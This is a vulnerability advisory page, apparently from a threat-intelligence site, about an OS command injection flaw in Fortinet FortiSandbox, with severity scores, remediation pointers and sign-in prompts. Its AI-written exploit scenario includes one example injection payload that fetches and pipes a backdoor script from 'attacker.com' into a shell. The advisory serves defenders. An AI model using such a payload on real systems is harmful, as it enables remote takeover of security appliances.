EUVD-2026-22338
GHSA-wfjv-vrx5-2cf2
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from NVD.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
8DescriptionCVE.org
A improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiSandbox 4.4.0 through 4.4.8 may allow attacker to execute unauthorized code or commands via <insert attack vector here>
Articles & Coverage 1
AnalysisAI
OS command injection in Fortinet FortiSandbox 4.4.0-4.4.8 and FortiSandbox PaaS versions 21.3-23.4 enables remote unauthenticated attackers to execute arbitrary system commands with complete system compromise. CVSS 9.8 (network, low complexity, no privileges) but EPSS 0.29% (53rd percentile) suggests limited real-world exploitation observed despite maximum severity score. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Network-reachable FortiSandbox management interface on affected versions (4.4.0-4.4.8 or PaaS 21.3-23.4). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Contradictory risk signals require careful interpretation. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Remote attacker identifies internet-exposed FortiSandbox management interface through Shodan or targeted reconnaissance. Attacker crafts malicious HTTP request to vulnerable endpoint, injecting shell metacharacters (e.g., '; wget http://attacker.com/backdoor.sh | sh #') into insufficiently validated parameter. … |
| Remediation | Apply Fortinet-released patches per advisory FG-IR-26-100 (https://fortiguard.fortinet.com/psirt/FG-IR-26-100). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: identify all FortiSandbox deployments and document affected versions (4.4.0-4.4.8, PaaS 21.3-23.4); isolate affected instances from production networks where feasible. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Share
External POC / Exploit Code
Leaving vuln.today